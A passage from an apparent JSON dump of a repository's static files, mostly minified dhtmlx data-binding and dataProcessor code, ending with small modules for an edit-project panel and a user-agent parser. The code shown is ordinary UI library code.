this.data},setValues:function(a){this.data=a;this.callEvent(\"onChange\",[a])},refresh:function(){this.callEvent(\"onBindRequest\")}},dhx.EventSystem,dhx.BaseBind,dhx.AtomDataLoader,dhx.Settings);dhx.DataCollection=dhx.proto({name:\"DataCollection\",isVisible:function(){if(!this.data.order.length&&!this.data._filter_order&&!this._settings.dataFeed){return false}return true},$init:function(a){this.data.provideApi(this,true);var c=(a&&a.id)?a.id:dhx.uid();this._settings.id=c;dhx.ui.views[c]=this;this.data.attachEvent(\"onStoreLoad\",dhx.bind(function(){this.callEvent(\"onBindRequest\",[])},this))},refresh:function(){this.callEvent(\"onBindRequest\",[])}},dhx.DataLoader,dhx.EventSystem,dhx.BaseBind,dhx.Settings);dhx.ValueBind={$init:function(){this.attachEvent(\"onChange\",this._update_binds)},_bind_update:function(h,g,e){var c=this.getValue()||\"\";if(e){c=e(c)}if(h.setValue){h.setValue(c)}else{if(!h.filter){var a={};a[g]=c;if(h._check_data_feed(c)){h.setValues(a)}}else{h.data.silent(function(){this.filter(g,c)})}}h.callEvent(\"onBindApply\",[c,g,this])}};dhx.RecordBind={$init:function(){this.attachEvent(\"onChange\",this._update_binds)},_bind_update:function(e,c){var a=this.getValues()||null;this._bind_update_common(e,c,a)}};dhx.CollectionBind={$init:function(){this._cursor=null;this.attachEvent(\"onSelectChange\",function(c){var a=this.getSelected();this.setCursor(a?(a.id||a):null)});this.attachEvent(\"onAfterCursorChange\",this._update_binds);this.data.attachEvent(\"onStoreUpdated\",dhx.bind(function(e,a,c){if(e&&e==this.getCursor()&&c!=\"paint\"){this._update_binds()}},this));this.data.attachEvent(\"onClearAll\",dhx.bind(function(){this._cursor=null},this));this.data.attachEvent(\"onIdChange\",dhx.bind(function(c,a){if(this._cursor==c){this._cursor=a}},this))},setCursor:function(a){if(a==this._cursor||(a!==null&&!this.item(a))){return}this.callEvent(\"onBeforeCursorChange\",[this._cursor]);this._cursor=a;this.callEvent(\"onAfterCursorChange\",[a])},getCursor:function(){return this._cursor},_bind_update:function(e,c){var a=this.item(this.getCursor())||this._settings.defaultData||null;this._bind_update_common(e,c,a)}};if(!dhx.ui){dhx.ui={}}if(!dhx.ui.views){dhx.ui.views={};dhx.ui.get=function(a){if(a._settings){return a}return dhx.ui.views[a]}}dhtmlXDataStore=function(c){var e=new dhx.DataCollection(c);var a=\"_dp_init\";e[a]=function(h){var g=\"_methods\";h[g]=[\"dummy\",\"dummy\",\"changeId\",\"dummy\"];this.data._old_names={add:\"inserted\",update:\"updated\",\"delete\":\"deleted\"};this.data.attachEvent(\"onStoreUpdated\",function(n,l,m){if(n&&!h._silent){h.setUpdated(n,true,this._old_names[m])}});g=\"_getRowData\";h[g]=function(q,l){var n=this.obj.data.item(q);var o={id:q};o[this.action_param]=this.obj.getUserData(q);if(n){for(var m in n){o[m]=n[m]}}return o};this.changeId=function(m,l){this.data.changeId(m,l);h._silent=true;this.data.callEvent(\"onStoreUpdated\",[l,this.item(l),\"update\"]);h._silent=false};g=\"_clearUpdateFlag\";h[g]=function(){};this._userdata={}};e.dummy=function(){};e.setUserData=function(l,g,h){this._userdata[l]=h};e.getUserData=function(h,g){return this._userdata[h]};e.dataFeed=function(g){this.define(\"dataFeed\",g)};dhx.extend(e,dhx.BindSource);return e};if(window.dhtmlXDataView){dhtmlXDataView.prototype._initBindSource=function(){this.isVisible=function(){if(!this.data.order.length&&!this.data._filter_order&&!this._settings.dataFeed){return false}return true};var a=\"_settings\";this._settings=this._settings||this[a];if(!this._settings.id){this._settings.id=dhx.uid()}this.unbind=dhx.BaseBind.unbind;this.unsync=dhx.BaseBind.unsync;dhx.ui.views[this._settings.id]=this}}if(window.dhtmlXChart){dhtmlXChart.prototype._initBindSource=function(){this.isVisible=function(){if(!this.data.order.length&&!this.data._filtered_state&&!this._settings.dataFeed){return false}return true};var a=\"_settings\";this._settings=this._settings||this[a];if(!this._settings.id){this._settings.id=dhx.uid()}this.unbind=dhx.BaseBind.unbind;this.unsync=dhx.BaseBind.unsync;dhx.ui.views[this._settings.id]=this}}dhx.BaseBind.unsync=function(a){return dhx.BaseBind._unbind.call(this,a)};dhx.BaseBind.unbind=function(a){return dhx.BaseBind._unbind.call(this,a)};dhx.BaseBind.legacyBind=function(){return dhx.BaseBind.bind.apply(this,arguments)};dhx.BaseBind.legacySync=function(a,c){if(this._initBindSource){this._initBindSource()}if(a._initBindSource){a._initBindSource()}this.attachEvent(\"onAfterEditStop\",function(e){this.save(e);return true});this.attachEvent(\"onDataRequest\",function(h,g){for(var e=h;e<h+g;e++){if(!a.data.order[e]){a.loadNext(g,h);return false}}});this.save=function(l){if(!l){l=this.getCursor()}var h=this.item(l);var e=a.item(l);for(var g in h){if(g.indexOf(\"$\")!==0){e[g]=h[g]}}a.refresh(l)};if(a&&a.name==\"DataCollection\"){return a.data.sync.apply(this.data,arguments)}else{return this.data.sync.apply(this.data,arguments)}};if(window.dhtmlXForm){dhtmlXForm.prototype.bind=function(a){dhx.BaseBind.bind.apply(this,arguments);a.getBindData(this._settings.id)};dhtmlXForm.prototype.unbind=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXForm.prototype._initBindSource=function(){if(dhx.isUndefined(this._settings)){this._settings={id:dhx.uid(),dataFeed:this._server_feed};dhx.ui.views[this._settings.id]=this}};dhtmlXForm.prototype._check_data_feed=function(c){if(!this._settings.dataFeed||this._ignore_feed||!c){return true}var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,(c.id||c),c)}a=a+(a.indexOf(\"?\")==-1?\"?\":\"&\")+\"action=get&id=\"+encodeURIComponent(c.id||c);this.load(a);return false};dhtmlXForm.prototype.setValues=dhtmlXForm.prototype.setFormData;dhtmlXForm.prototype.getValues=function(){return this.getFormData(false,true)};dhtmlXForm.prototype.dataFeed=function(a){if(this._settings){this._settings.dataFeed=a}else{this._server_feed=a}};dhtmlXForm.prototype.refresh=dhtmlXForm.prototype.isVisible=function(a){return true}}if(window.scheduler){if(!window.Scheduler){window.Scheduler={}}Scheduler.$syncFactory=function(a){a.sync=function(e,h){if(this._initBindSource){this._initBindSource()}if(e._initBindSource){e._initBindSource()}var g=\"_process_loading\";var c=function(q){a.clearAll();var l=e.data.order;var o=e.data.pull;var m=[];for(var n=0;n<l.length;n++){if(h&&h.copy){m[n]=dhx.clone(o[l[n]])}else{m[n]=o[l[n]]}}a[g](m);a.callEvent(\"onSyncApply\",[])};this.save=function(n){if(!n){n=this.getCursor()}var m=this.item(n);var l=e.item(n);if(this.callEvent(\"onStoreSave\",[n,m,l])){dhx.extend(e.item(n),m,true);e.update(n)}};this.item=function(l){return this.getEvent(l)};this._sync_events=[e.data.attachEvent(\"onStoreUpdated\",function(n,l,m){c.call(this)}),e.data.attachEvent(\"onIdChange\",function(m,l){combo.changeOptionId(m,l)})];this.attachEvent(\"onEventChanged\",function(l){this.save(l)});this.attachEvent(\"onEventAdded\",function(m,l){if(!e.data.pull[m]){e.add(l)}});this.attachEvent(\"onEventDeleted\",function(l){if(e.data.pull[l]){e.remove(l)}});c()};a.unsync=function(c){dhx.BaseBind._unbind.call(this,c)};a._initBindSource=function(){if(!this._settings){this._settings={id:dhx.uid()}}}};Scheduler.$syncFactory(window.scheduler)}if(window.dhtmlXCombo){dhtmlXCombo.prototype.bind=function(){dhx.BaseBind.bind.apply(this,arguments)};dhtmlXCombo.unbind=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXCombo.unsync=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXCombo.prototype.dataFeed=function(a){if(this._settings){this._settings.dataFeed=a}else{this._server_feed=a}};dhtmlXCombo.prototype.sync=function(c,g){if(this._initBindSource){this._initBindSource()}if(c._initBindSource){c._initBindSource()}var e=this;var a=function(h){e.clearAll();e.addOption(this.serialize());e.callEvent(\"onSyncApply\",[])};this._sync_events=[c.data.attachEvent(\"onStoreUpdated\",function(m,h,l){a.call(this)}),c.data.attachEvent(\"onIdChange\",function(l,h){e.changeOptionId(l,h)})];a.call(c)};dhtmlXCombo.prototype._initBindSource=function(){if(dhx.isUndefined(this._settings)){this._settings={id:dhx.uid(),dataFeed:this._server_feed};dhx.ui.views[this._settings.id]=this;this.data={silent:dhx.bind(function(a){a.call(this)},this)};dhx4._eventable(this.data);this.attachEvent(\"onChange\",function(){this.callEvent(\"onSelectChange\",[this.getSelectedValue()])});this.attachEvent(\"onXLE\",function(){this.callEvent(\"onBindRequest\",[])})}};dhtmlXCombo.prototype.item=function(a){return this.getOption(a)};dhtmlXCombo.prototype.getSelected=function(){return this.getSelectedValue()};dhtmlXCombo.prototype.isVisible=function(){if(!this.optionsArr.length&&!this._settings.dataFeed){return false}return true};dhtmlXCombo.prototype.refresh=function(){this.render(true)}}if(window.dhtmlXGridObject){dhtmlXGridObject.prototype.bind=function(a,e,c){dhx.BaseBind.bind.apply(this,arguments)};dhtmlXGridObject.prototype.unbind=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXGridObject.prototype.unsync=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXGridObject.prototype.dataFeed=function(a){if(this._settings){this._settings.dataFeed=a}else{this._server_feed=a}};dhtmlXGridObject.prototype.sync=function(a,o){if(this._initBindSource){this._initBindSource()}if(a._initBindSource){a._initBindSource()}var c=this;var n=\"_parsing\";var e=\"_parser\";var l=\"_locator\";var g=\"_process_store_row\";var m=\"_get_store_data\";this.save=function(q){if(!q){q=this.getCursor()}dhx.extend(a.item(q),this.item(q),true);a.update(q)};var h=function(w){var s=c.getCursor?c.getCursor():null;var v=0;if(c._legacy_ignore_next){v=c._legacy_ignore_next;c._legacy_ignore_next=false}else{c.clearAll()}var r=this.dataCount();if(r){c[n]=true;for(var q=v;q<r;q++){var u=this.order[q];if(!u){continue}if(v&&c.rowsBuffer[q]){continue}c.rowsBuffer[q]={idd:u,data:this.pull[u]};c.rowsBuffer[q][e]=c[g];c.rowsBuffer[q][l]=c[m];c.rowsAr[u]=this.pull[u]}if(!c.rowsBuffer[r-1]){c.rowsBuffer[r-1]=dhtmlx.undefined;c.xmlFileUrl=c.xmlFileUrl||this.url}if(c.pagingOn){c.changePage()}else{if(c._srnd&&c._fillers){c._update_srnd_view()}else{c.render_dataset();c.callEvent(\"onXLE\",[])}}c[n]=false}if(s&&c.setCursor){c.setCursor(c.rowsAr[s]?s:null)}c.callEvent(\"onSyncApply\",[])};this._sync_events=[a.data.attachEvent(\"onStoreUpdated\",function(s,q,r){if(r==\"delete\"){c.deleteRow(s);c.data.callEvent(\"onStoreUpdated\",[s,q,r])}else{if(r==\"update\"){c.callEvent(\"onSyncUpdate\",[q,r]);c.update(s,q);c.data.callEvent(\"onStoreUpdated\",[s,q,r])}else{if(r==\"add\"){c.callEvent(\"onSyncUpdate\",[q,r]);c.add(s,q,this.indexById(s));c.data.callEvent(\"onStoreUpdated\",[s,q,r])}else{h.call(this)}}}}),a.data.attachEvent(\"onStoreLoad\",function(r,q){c.xmlFileUrl=a.data.url;c._legacy_ignore_next=r.getInfo(q)._from}),a.data.attachEvent(\"onIdChange\",function(r,q){c.changeRowId(r,q)})];c.attachEvent(\"onDynXLS\",function(s,r){for(var q=s;q<s+r;q++){if(!a.data.order[q]){a.loadNext(r,s);return false}}c._legacy_ignore_next=s;h.call(a.data)});h.call(a.data);c.attachEvent(\"onEditCell\",function(q,v,s,r,u){if(q==2&&r!=u){this.save(v)}return true});c.attachEvent(\"onClearAll\",function(){var q=\"_f_rowsBuffer\";this[q]=null});if(o&&o.sort){c.attachEvent(\"onBeforeSorting\",function(s,r,q){if(r==\"connector\"){return false}var u=this.getColumnId(s);a.sort(\"#\"+u+\"#\",(q==\"asc\"?\"asc\":\"desc\"),(r==\"int\"?r:\"string\"));c.setSortImgState(true,s,q);return false})}if(o&&o.filter){c.attachEvent(\"onFilterStart\",function(s,q){var r=\"_con_f_used\";if(c[r]&&c[r].length){return false}a.data.silent(function(){a.filter();for(var u=0;u<s.length;u++){if(q[u]==\"\"){continue}var v=c.getColumnId(s[u]);a.filter(\"#\"+v+\"#\",q[u],u!=0)}});a.refresh();return false});c.collectValues=function(q){var r=this.getColumnId(q);return(function(v){var s=[];var u={};this.data.each(function(x){var w=x[v];if(!u[w]){u[w]=true;s.push(w)}});s.sort();return s}).call(a,r)}}if(o&&o.select){c.attachEvent(\"onRowSelect\",function(q){a.setCursor(q)})}c.clearAndLoad=function(q){a.clearAll();a.load(q)}};dhtmlXGridObject.prototype._initBindSource=function(){if(dhx.isUndefined(this._settings)){this._settings={id:dhx.uid(),dataFeed:this._server_feed};dhx.ui.views[this._settings.id]=this;this.data={silent:dhx.bind(function(e){e.call(this)},this)};dhx4._eventable(this.data);var a=\"_cCount\";for(var c=0;c<this[a];c++){if(!this.columnIds[c]){this.columnIds[c]=\"cell\"+c}}this.attachEvent(\"onSelectStateChanged\",function(e){this.callEvent(\"onSelectChange\",[e])});this.attachEvent(\"onSelectionCleared\",function(){this.callEvent(\"onSelectChange\",[null])});this.attachEvent(\"onEditCell\",function(e,g){if(e===2&&this.getCursor){if(g&&g==this.getCursor()){this._update_binds()}}return true});this.attachEvent(\"onXLE\",function(){this.callEvent(\"onBindRequest\",[])})}};dhtmlXGridObject.prototype.item=function(l){if(l===null){return null}var h=this.getRowById(l);if(!h){return null}var a=\"_attrs\";var g=dhx.copy(h[a]);g.id=l;var e=this.getColumnsNum();for(var c=0;c<e;c++){g[this.columnIds[c]]=this.cells(l,c).getValue()}return g};dhtmlXGridObject.prototype.update=function(l,h){for(var g=0;g<this.columnIds.length;g++){var e=this.columnIds[g];if(!dhx.isUndefined(h[e])){this.cells(l,g).setValue(h[e])}}var c=\"_attrs\";var a=this.getRowById(l)[c];for(var e in h){a[e]=h[e]}this.callEvent(\"onBindUpdate\",[l])};dhtmlXGridObject.prototype.add=function(m,l,e){var a=[];for(var h=0;h<this.columnIds.length;h++){var g=this.columnIds[h];a[h]=dhx.isUndefined(l[g])?\"\":l[g]}this.addRow(m,a,e);var c=\"_attrs\";this.getRowById(m)[c]=dhx.copy(l)};dhtmlXGridObject.prototype.getSelected=function(){return this.getSelectedRowId()};dhtmlXGridObject.prototype.isVisible=function(){var a=\"_f_rowsBuffer\";if(!this.rowsBuffer.length&&!this[a]&&!this._settings.dataFeed){return false}return true};dhtmlXGridObject.prototype.refresh=function(){this.render_dataset()};dhtmlXGridObject.prototype.filter=function(l,h){if(this._settings.dataFeed){var g={};if(!l&&!h){return}if(typeof l==\"function\"){if(!h){return}l(h,g)}else{if(dhx.isUndefined(l)){g=h}else{g[l]=h}}this.clearAll();var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,h,g)}var e=[];for(var c in g){e.push(\"dhx_filter[\"+c+\"]=\"+encodeURIComponent(g[c]))}this.load(a+(a.indexOf(\"?\")<0?\"?\":\"&\")+e.join(\"&\"));return false}if(h===null){return this.filterBy(0,function(){return false})}this.filterBy(0,function(m,n){return l.call(this,n,h)})}}if(window.dhtmlXTreeObject){dhtmlXTreeObject.prototype.bind=function(){dhx.BaseBind.bind.apply(this,arguments)};dhtmlXTreeObject.prototype.unbind=function(a){dhx.BaseBind._unbind.call(this,a)};dhtmlXTreeObject.prototype.dataFeed=function(a){if(this._settings){this._settings.dataFeed=a}else{this._server_feed=a}};dhtmlXTreeObject.prototype._initBindSource=function(){if(dhx.isUndefined(this._settings)){this._settings={id:dhx.uid(),dataFeed:this._server_feed};dhx.ui.views[this._settings.id]=this;this.data={silent:dhx.bind(function(a){a.call(this)},this)};dhx4._eventable(this.data);this.attachEvent(\"onSelect\",function(a){this.callEvent(\"onSelectChange\",[a])});this.attachEvent(\"onEdit\",function(a,c){if(a===2){if(c&&c==this.getCursor()){this._update_binds()}}return true})}};dhtmlXTreeObject.prototype.item=function(a){if(a===null){return null}return{id:a,text:this.getItemText(a)}};dhtmlXTreeObject.prototype.getSelected=function(){return this.getSelectedItemId()};dhtmlXTreeObject.prototype.isVisible=function(){return true};dhtmlXTreeObject.prototype.refresh=function(){};dhtmlXTreeObject.prototype.filter=function(l,h){if(this._settings.dataFeed){var g={};if(!l&&!h){return}if(typeof l==\"function\"){if(!h){return}l(h,g)}else{if(dhx.isUndefined(l)){g=h}else{g[l]=h}}this.deleteChildItems(0);var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,[(data.id||data),data])}var e=[];for(var c in g){e.push(\"dhx_filter[\"+c+\"]=\"+encodeURIComponent(g[c]))}this.loadXML(a+(a.indexOf(\"?\")<0?\"?\":\"&\")+e.join(\"&\"));return false}};dhtmlXTreeObject.prototype.update=function(c,a){if(!dhx.isUndefined(a.text)){this.setItemText(c,a.text)}}}function dataProcessor(a){this.serverProcessor=a;this.action_param=\"!nativeeditor_status\";this.object=null;this.updatedRows=[];this.autoUpdate=true;this.updateMode=\"cell\";this._tMode=\"GET\";this._headers=null;this._payload=null;this.post_delim=\"_\";this._waitMode=0;this._in_progress={};this._invalid={};this.mandatoryFields=[];this.messages=[];this.styles={updated:\"font-weight:bold;\",inserted:\"font-weight:bold;\",deleted:\"text-decoration : line-through;\",invalid:\"background-color:FFE0E0;\",invalid_cell:\"border-bottom:2px solid red;\",error:\"color:red;\",clear:\"font-weight:normal;text-decoration:none;\"};this.enableUTFencoding(true);dhx4._eventable(this);if(this.connector_init){this.setTransactionMode(\"POST\",true);this.serverProcessor+=(this.serverProcessor.indexOf(\"?\")!=-1?\"&\":\"?\")+\"editing=true\"}return this}dataProcessor.prototype={setTransactionMode:function(c,a){if(typeof c==\"object\"){this._tMode=c.mode||this._tMode;this._headers=this._headers||c.headers;this._payload=this._payload||c.payload}else{this._tMode=c;this._tSend=a}if(this._tMode==\"REST\"){this._tSend=false;this._endnm=true}},escape:function(a){if(this._utf){return encodeURIComponent(a)}else{return escape(a)}},enableUTFencoding:function(a){this._utf=dhx4.s2b(a)},setDataColumns:function(a){this._columns=(typeof a==\"string\")?a.split(\",\"):a},getSyncState:function(){return !this.updatedRows.length},enableDataNames:function(a){this._endnm=dhx4.s2b(a)},enablePartialDataSend:function(a){this._changed=dhx4.s2b(a)},setUpdateMode:function(c,a){this.autoUpdate=(c==\"cell\");this.updateMode=c;this.dnd=a},ignore:function(c,a){this._silent_mode=true;c.call(a||window);this._silent_mode=false},setUpdated:function(g,e,h){if(this._silent_mode){return}var c=this.findRow(g);h=h||\"updated\";var a=this.obj.getUserData(g,this.action_param);if(a&&h==\"updated\"){h=a}if(e){this.set_invalid(g,false);this.updatedRows[c]=g;this.obj.setUserData(g,this.action_param,h);if(this._in_progress[g]){this._in_progress[g]=\"wait\"}}else{if(!this.is_invalid(g)){this.updatedRows.splice(c,1);this.obj.setUserData(g,this.action_param,\"\")}}if(!e){this._clearUpdateFlag(g)}this.markRow(g,e,h);if(e&&this.autoUpdate){this.sendData(g)}},_clearUpdateFlag:function(a){},markRow:function(l,e,h){var g=\"\";var c=this.is_invalid(l);if(c){g=this.styles[c];e=true}if(this.callEvent(\"onRowMark\",[l,e,h,c])){g=this.styles[e?h:\"clear\"]+g;this.obj[this._methods[0]](l,g);if(c&&c.details){g+=this.styles[c+\"_cell\"];for(var a=0;a<c.details.length;a++){if(c.details[a]){this.obj[this._methods[1]](l,a,g)}}}}},getState:function(a){return this.obj.getUserData(a,this.action_param)},is_invalid:function(a){return this._invalid[a]},set_invalid:function(e,c,a){if(a){c={value:c,details:a,toString:function(){return this.value.toString()}}}this._invalid[e]=c},checkBeforeUpdate:function(a){return true},sendData:function(a){if(this._waitMode&&(this.obj.mytype==\"tree\"||this.obj._h2)){return}if(this.obj.editStop){this.obj.editStop()}if(typeof a==\"undefined\"||this._tSend){return this.sendAllData()}if(this._in_progress[a]){return false}this.messages=[];if(this.getState(a)!==\"deleted\"){if(!this.checkBeforeUpdate(a)&&this.callEvent(\"onValidationError\",[a,this.messages])){return false}}this._beforeSendData(this._getRowData(a),a)},_beforeSendData:function(a,c){if(!this.callEvent(\"onBeforeUpdate\",[c,this.getState(c),a])){return false}this._sendData(a,c)},serialize:function(g,h){if(typeof g==\"string\"){return g}if(typeof h!=\"undefined\"){return this.serialize_one(g,\"\")}else{var a=[];var e=[];for(var c in g){if(g.hasOwnProperty(c)){a.push(this.serialize_one(g[c],c+this.post_delim));e.push(c)}}a.push(\"ids=\"+this.escape(e.join(\",\")));if(dhtmlx.security_key){a.push(\"dhx_security=\"+dhtmlx.security_key)}return a.join(\"&\")}},serialize_one:function(g,c){if(typeof g==\"string\"){return g}var a=[];for(var e in g){if(g.hasOwnProperty(e)){if((e==\"id\"||e==this.action_param)&&this._tMode==\"REST\"){continue}a.push(this.escape((c||\"\")+e)+\"=\"+this.escape(g[e]))}}return a.join(\"&\")},_sendData:function(h,l){if(!h){return}if(!this.callEvent(\"onBeforeDataSending\",l?[l,this.getState(l),h]:[null,null,h])){return false}if(l){this._in_progress[l]=(new Date()).valueOf()}var q=this;var o=function(s){var v=[];if(l){v.push(l)}else{if(h){for(var u in h){v.push(u)}}}return q.afterUpdate(q,s,v)};var c=this.serverProcessor+(this._user?(dhtmlx.url(this.serverProcessor)+[\"dhx_user=\"+this._user,\"dhx_version=\"+this.obj.getUserData(0,\"version\")].join(\"&\")):\"\");if(this._tMode==\"GET\"){dhx4.ajax.get(c+((c.indexOf(\"?\")!=-1)?\"&\":\"?\")+this.serialize(h,l),o)}else{if(this._tMode==\"POST\"){dhx4.ajax.post(c,this.serialize(h,l),o)}else{if(this._tMode==\"REST\"){var e=this.getState(l);var g=c.replace(/(\\&|\\?)editing\\=true/,\"\");var m=g.split(\"?\");if(m[1]){m[1]=\"?\"+m[1]}var n=\"\";var a=\"post\";if(e==\"inserted\"){n=this.serialize(h,l)}else{if(e==\"deleted\"){a=\"DELETE\";g=m[0]+l+(m[1]||\"\")}else{a=\"PUT\";n=this.serialize(h,l);g=m[0]+l+(m[1]||\"\")}}if(this._payload){for(var r in this._payload){g=g+(g.indexOf(\"?\")===-1?\"?\":\"&\")+this.escape(r)+\"=\"+this.escape(this._payload[r])}}dhx4.ajax.query({url:g,method:a,headers:this._headers,data:n,callback:o})}}}this._waitMode++},sendAllData:function(){if(!this.updatedRows.length){return}this.messages=[];var c=true;for(var a=0;a<this.updatedRows.length;a++){if(this.getState(this.updatedRows[a])!==\"deleted\"){c&=this.checkBeforeUpdate(this.updatedRows[a])}}if(!c&&!this.callEvent(\"onValidationError\",[\"\",this.messages])){return false}if(this._tSend){this._sendData(this._getAllData())}else{for(var a=0;a<this.updatedRows.length;a++){if(!this._in_progress[this.updatedRows[a]]){if(this.is_invalid(this.updatedRows[a])){continue}this._beforeSendData(this._getRowData(this.updatedRows[a]),this.updatedRows[a]);if(this._waitMode&&(this.obj.mytype==\"tree\"||this.obj._h2)){return}}}}},_getAllData:function(g){var c={};var a=false;for(var e=0;e<this.updatedRows.length;e++){var h=this.updatedRows[e];if(this._in_progress[h]||this.is_invalid(h)){continue}if(!this.callEvent(\"onBeforeUpdate\",[h,this.getState(h),this._getRowData(h)])){continue}c[h]=this._getRowData(h,h+this.post_delim);a=true;this._in_progress[h]=(new Date()).valueOf()}return a?c:null},setVerificator:function(c,a){this.mandatoryFields[c]=a||(function(e){return(e!==\"\")})},clearVerificator:function(a){this.mandatoryFields[a]=false},findRow:function(c){var a=0;for(a=0;a<this.updatedRows.length;a++){if(c==this.updatedRows[a]){break}}return a},defineAction:function(a,c){if(!this._uActions){this._uActions=[]}this._uActions[a]=c},afterUpdateCallback:function(c,m,l,h){var a=c;var g=(l!=\"error\"&&l!=\"invalid\");if(!g){this.set_invalid(c,l)}if((this._uActions)&&(this._uActions[l])&&(!this._uActions[l](h))){return(delete this._in_progress[a])}if(this._in_progress[a]!=\"wait\"){this.setUpdated(c,false)}var e=c;switch(l){case\"inserted\":case\"insert\":if(m!=c){this.obj[this._methods[2]](c,m);c=m}break;case\"delete\":case\"deleted\":this.obj.setUserData(c,this.action_param,\"true_deleted\");this.obj[this._methods[3]](c);delete this._in_progress[a];return this.callEvent(\"onAfterUpdate\",[c,l,m,h]);break}if(this._in_progress[a]!=\"wait\"){if(g){this.obj.setUserData(c,this.action_param,\"\")}delete this._in_progress[a]}else{delete this._in_progress[a];this.setUpdated(m,true,this.obj.getUserData(c,this.action_param))}this.callEvent(\"onAfterUpdate\",[e,l,m,h])},afterUpdate:function(o,n,a){if(window.JSON){try{var u=JSON.parse(n.xmlDoc.responseText);var h=u.action||this.getState(a)||\"updated\";var c=u.sid||a[0];var g=u.tid||a[0];o.afterUpdateCallback(c,g,h,u);o.finalizeUpdate();return}catch(q){}}var s=dhx4.ajax.xmltop(\"data\",n.xmlDoc);if(!s||s.tagName==\"DIV\"){return this.cleanUpdate(a)}var r=dhx4.ajax.xpath(\"//data/action\",s);if(!r.length){return this.cleanUpdate(a)}for(var m=0;m<r.length;m++){var l=r[m];var h=l.getAttribute(\"type\");var c=l.getAttribute(\"sid\");var g=l.getAttribute(\"tid\");o.afterUpdateCallback(c,g,h,l)}o.finalizeUpdate()},cleanUpdate:function(c){if(c){for(var a=0;a<c.length;a++){delete this._in_progress[c[a]]}}},finalizeUpdate:function(){if(this._waitMode){this._waitMode--}if((this.obj.mytype==\"tree\"||this.obj._h2)&&this.updatedRows.length){this.sendData()}this.callEvent(\"onAfterUpdateFinish\",[]);if(!this.updatedRows.length){this.callEvent(\"onFullSync\",[])}},init:function(a){this.obj=a;if(a._dp_init){a._dp_init(this)}if(this.connector_init){a._dataprocessor=this}},setOnAfterUpdate:function(a){this.attachEvent(\"onAfterUpdate\",a)},enableDebug:function(a){},setOnBeforeUpdateHandler:function(a){this.attachEvent(\"onBeforeDataSending\",a)},setAutoUpdate:function(e,c){e=e||2000;this._user=c||(new Date()).valueOf();this._need_update=false;this._update_busy=false;this.attachEvent(\"onAfterUpdate\",function(g,l,m,h){this.afterAutoUpdate(g,l,m,h)});this.attachEvent(\"onFullSync\",function(){this.fullSync()});var a=this;window.setInterval(function(){a.loadUpdate()},e)},afterAutoUpdate:function(a,e,g,c){if(e==\"collision\"){this._need_update=true;return false}else{return true}},fullSync:function(){if(this._need_update==true){this._need_update=false;this.loadUpdate()}return true},getUpdates:function(a,c){if(this._update_busy){return false}else{this._update_busy=true}dhx4.ajax.get(a,c)},_v:function(a){if(a.firstChild){return a.firstChild.nodeValue}return\"\"},_a:function(a){var e=[];for(var c=0;c<a.length;c++){e[c]=this._v(a[c])}return e},loadUpdate:function(){var c=this;var a=this.obj.getUserData(0,\"version\");var e=this.serverProcessor+dhtmlx.url(this.serverProcessor)+[\"dhx_user=\"+this._user,\"dhx_version=\"+a].join(\"&\");e=e.replace(\"editing=true&\",\"\");this.getUpdates(e,function(o){var q=dhx4.ajax.xmltop(\"updates\",o.xmlDoc);var l=dhx4.ajax.xpath(\"//userdata\",q);c.obj.setUserData(0,\"version\",c._v(l[0]));var g=dhx4.ajax.xpath(\"//update\",q);if(g.length){c._silent_mode=true;for(var m=0;m<g.length;m++){var h=g[m].getAttribute(\"status\");var s=g[m].getAttribute(\"id\");var n=g[m].getAttribute(\"parent\");switch(h){case\"inserted\":c.callEvent(\"insertCallback\",[g[m],s,n]);break;case\"updated\":c.callEvent(\"updateCallback\",[g[m],s,n]);break;case\"deleted\":c.callEvent(\"deleteCallback\",[g[m],s,n]);break}}c._silent_mode=false}c._update_busy=false;c=null})}};if(window.dataProcessor&&!dataProcessor.prototype.init_original){dataProcessor.prototype.connector_init=true};"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/editor.js",
    "content": "// \n// 编辑项目\n// \n\ndefine({\n    init: function (layout) {\n        \n        var cell_5 = layout.cells('b');\n        cell_5.setText('编辑项目');\n    }\n})"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/hostdata.js",
    "content": "// \n// 主机列表\n// \n\ndefine({\n    parseUA: function(ua) {\n        var info = {};\n        var temp = {};\n        info.ua = ua;\n        temp.os = {\n            'Mac OS X': /Mac OS X ([\\d\\.\\_]+)/,\n            'iPhone OS': /iPhone OS ([\\d\\.\\_]+)/,\n            'iPad': /iPad; CPU OS ([\\d\\_\\.]+)/,\n            'Android': /Android ([\\d\\.]+)/,\n            'Windows Phone': /Windows Phone (OS )?([\\d\\.]+)/,\n            'BlackBerry': /BlackBerry[ ]?[\\d]+/,\n            'Symbian': /SymbianOS\\/([\\d\\.]+)/,\n            'Windows': /Windows NT ([\\d\\.]+)/,\n            'Linux': /Linux ([\\w\\d]+)/\n        }\n        for (var o in temp.os){\n            if (info.ua.indexOf(o)) {\n                var m = info.ua.match(temp.os[o]);\n                info.os = m ? m[0] : (info.os || 'Unknow OS');\n            };\n        }\n        temp.browser = {\n            'Safari': /Safari\\/([\\d\\.]+)$/,\n            'Chrome': /Chrome\\/([\\d\\.]+)/,\n            'Firefox': /Firefox\\/([\\d\\.]+)$/,\n            'Opera/': /Version\\/([\\d\\.]+)$/,\n            'MSIE': /MSIE ([\\d\\.]+)/,\n            'Lunascape': /Lunascape ([\\d\\.]+)/,\n            'Netscape': /Netscape6[\\d]?\\/([\\d\\.]+)/,\n            'CriOS': /CriOS\\/([\\d\\.]+)/,\n            'UCBrowser': /UCBrowser\\/([\\d\\.]+)/,\n            'Trident': /Trident\\/([\\d\\.]+)/,\n            'baiduboxapp': /baiduboxapp\\/([\\d\\.\\_]+)/,\n            'MiuiBrowser': /MiuiBrowser\\/([\\d\\.]+)$/\n        }\n        for (var b in temp.browser){\n            if (info.ua.indexOf(b)) {\n                var m = info.ua.match(temp.browser[b]);\n                info.browser = m ? m[0] : (info.browser || 'Unknow Browser');\n            };\n        }\n        return {\n            os: info.os,\n            browser: info.browser\n        }\n    